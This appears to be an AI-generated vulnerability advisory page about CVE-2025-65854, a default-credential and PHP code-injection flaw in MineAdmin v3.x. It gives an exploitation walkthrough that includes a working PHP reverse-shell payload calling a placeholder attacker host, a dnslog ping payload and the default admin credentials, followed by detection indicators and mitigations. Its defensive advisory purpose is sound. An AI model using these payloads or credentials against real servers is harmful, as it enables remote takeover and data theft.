CVE-2025-65854
PHP vulnerability analysis and mitigation

Overview

CVE-2025-65854 is a critical insecure default credentials and code injection vulnerability in MineAdmin v3.x that allows unauthenticated attackers to execute arbitrary commands and perform a full account takeover. The vulnerability affects MineAdmin versions up to and including 3.0.9 (Composer package mineadmin/mineadmin), with no patched version currently listed in the GitHub Advisory Database. It was published on December 12, 2025, with a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory, Feedly).

Technical details

The root cause is twofold: MineAdmin ships with insecure default credentials (superAdmin / admin123) hardcoded in the installation command (InstallProjectCommand.php), and the scheduled tasks feature lacks proper authorization controls, enabling code injection (CWE-94) (GitHub Advisory). An attacker authenticates using the default credentials (or brute-forces the password), then navigates to the "Tools" → "Scheduled Tasks" → "Add" interface and injects a malicious PHP payload — such as eval('system("ping -c 4 attacker.dnslog.cn");'); or a reverse shell — into the task definition field (GitHub Gist). Executing the task once triggers server-side PHP code evaluation with no further privileges required beyond the initial login.

Impact

Successful exploitation grants an attacker full remote code execution on the MineAdmin server, enabling arbitrary command execution, complete account takeover, and access to all application data. Confidentiality, integrity, and availability are all fully compromised — an attacker can read, modify, or delete sensitive data, install backdoors, or pivot to other systems on the network (GitHub Advisory, Feedly).

Exploitability

No public proof-of-concept exploit code has been formally released, though the GitHub Gist by SourByte05 provides detailed exploitation steps including specific payloads for command execution and reverse shell establishment (GitHub Gist). There is no confirmed evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.069–0.091%, placing it in the 26th percentile for exploitation likelihood within 30 days (GitHub Advisory). The trivial exploitation path — default credentials plus a built-in task scheduler — significantly lowers the barrier for opportunistic attackers.

Exploitation steps

  1. Reconnaissance: Identify internet-facing MineAdmin v3.x instances using search engines (Shodan, Censys, FOFA) by fingerprinting the MineAdmin login page or HTTP response headers.
  2. Authentication: Attempt login to the admin panel using the default credentials (superAdmin / admin123). If changed, attempt credential brute-force against the login endpoint.
  3. Navigate to Scheduled Tasks: Once authenticated, navigate to ToolsScheduled TasksAdd in the MineAdmin administrative interface.
  4. Inject malicious payload: In the "Add Scheduled Task" form, insert a PHP code injection payload into the task definition field. For command verification: eval('system("ping -c 4 attacker.dnslog.cn");');. For a reverse shell: eval('$s=stream_socket_client("tcp://[ATTACKER_IP]:[PORT]");proc_open("/bin/sh -i", array(0=>$s,1=>$s,2=>$s),$p);');
  5. Execute the task: Save the scheduled task and trigger it manually ("Execute Once"), causing the server to evaluate the injected PHP code.
  6. Establish persistence: Use the reverse shell or RCE to deploy a web shell, create a backdoor account, or exfiltrate credentials for further lateral movement (GitHub Gist).

Indicators of compromise

  • Network: Outbound DNS queries to external dnslog/canary domains from the web server process; unexpected outbound TCP connections from the PHP/web server process to unknown IPs on non-standard ports (indicative of reverse shell).
  • Logs: Web application access logs showing POST requests to scheduled task creation/execution endpoints (e.g., /api/system/scheduledTask) with unusual or encoded payload content; repeated failed login attempts to the superAdmin account followed by a successful login.
  • File System: Unexpected PHP web shell files written to the MineAdmin web root or upload directories; new or modified files in the application directory created by the web server user.
  • Process: Unusual child processes spawned by the PHP-FPM or web server process (e.g., /bin/sh, bash, curl, wget, nc); proc_open or stream_socket_client function calls visible in PHP process monitoring.

Mitigation and workarounds

No patched version is currently listed in the GitHub Advisory Database for the mineadmin/mineadmin Composer package (all versions ≤ 3.0.9 are affected) (GitHub Advisory). Immediate mitigations include: (1) Change the default superAdmin password immediately from admin123 to a strong, unique password; (2) Disable or restrict access to the Scheduled Tasks feature if not operationally required; (3) Implement network-level access controls to limit administrative panel access to trusted IP ranges only; (4) Monitor for unauthorized task creation or execution in application logs; (5) Conduct a security audit of the MineAdmin instance for signs of prior compromise. Monitor the GitHub Advisory for patch availability.

Community reactions

The vulnerability was noted in a Bluesky post shortly after disclosure and picked up by several vulnerability aggregation platforms including VulnDB, CVEFeed, and INCIBE-CERT (Feedly). It was also included in a monthly CVE threat report for December 2025. Community reaction has been limited, with no major vendor statements or prominent researcher commentary beyond the initial disclosure gist by SourByte05.

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-59989CRITICAL9.2
  • PHP logoPHP
  • phalcon/cphalcon
NoYesAug 21, 2026
CVE-2026-63135HIGH8.2
  • PHP logoPHP
  • yourls/yourls
NoYesAug 21, 2026
GHSA-p2ch-c2c3-4xm5MEDIUM6.1
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-8hgv-xc77-jmcrMEDIUM5.1
  • PHP logoPHP
  • getgrav/grav
NoYesAug 21, 2026
GHSA-hq84-x37p-j6q5MEDIUM4.5
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management